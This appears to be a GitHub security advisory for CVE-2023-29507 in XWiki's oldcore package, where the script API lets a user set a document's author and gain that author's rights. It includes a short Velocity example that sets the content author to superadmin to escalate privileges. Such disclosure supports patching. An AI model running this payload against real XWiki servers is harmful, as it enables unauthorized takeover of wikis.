Skip to content

Incorrect Use of Privileged APIs in org.xwiki.platform:xwiki-platform-oldcore with DocumentAuthors

Critical
tmortagne published GHSA-pwfv-3cvg-9m4c Apr 12, 2023

Package

maven org.xwiki.platform:xwiki-platform-oldcore (Maven)

Affected versions

> 14.0-rc-1
> 14.4.1

Patched versions

14.10
14.4.7

Description

Impact

The Document script API returns directly a DocumentAuthors allowing to set any authors to the document, which in consequence can allow subsequent executions of scripts since this author is used for checking rights.
Example of such attack:

{{velocity}}
$doc.setContent('{{velocity}}$xcontext.context.authorReference{{/velocity}}')
$doc.authors.setContentAuthor('xwiki:XWiki.superadmin')
$doc.getRenderedContent()
{{/velocity}}

Patches

The problem has been patched in XWiki 14.10 and 14.4.7 by returning a safe script API.

Workarounds

There no easy workaround apart of upgrading.

References

For more information

If you have any questions or comments about this advisory:

Severity

Critical
9.1
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2023-29507

Weaknesses

Credits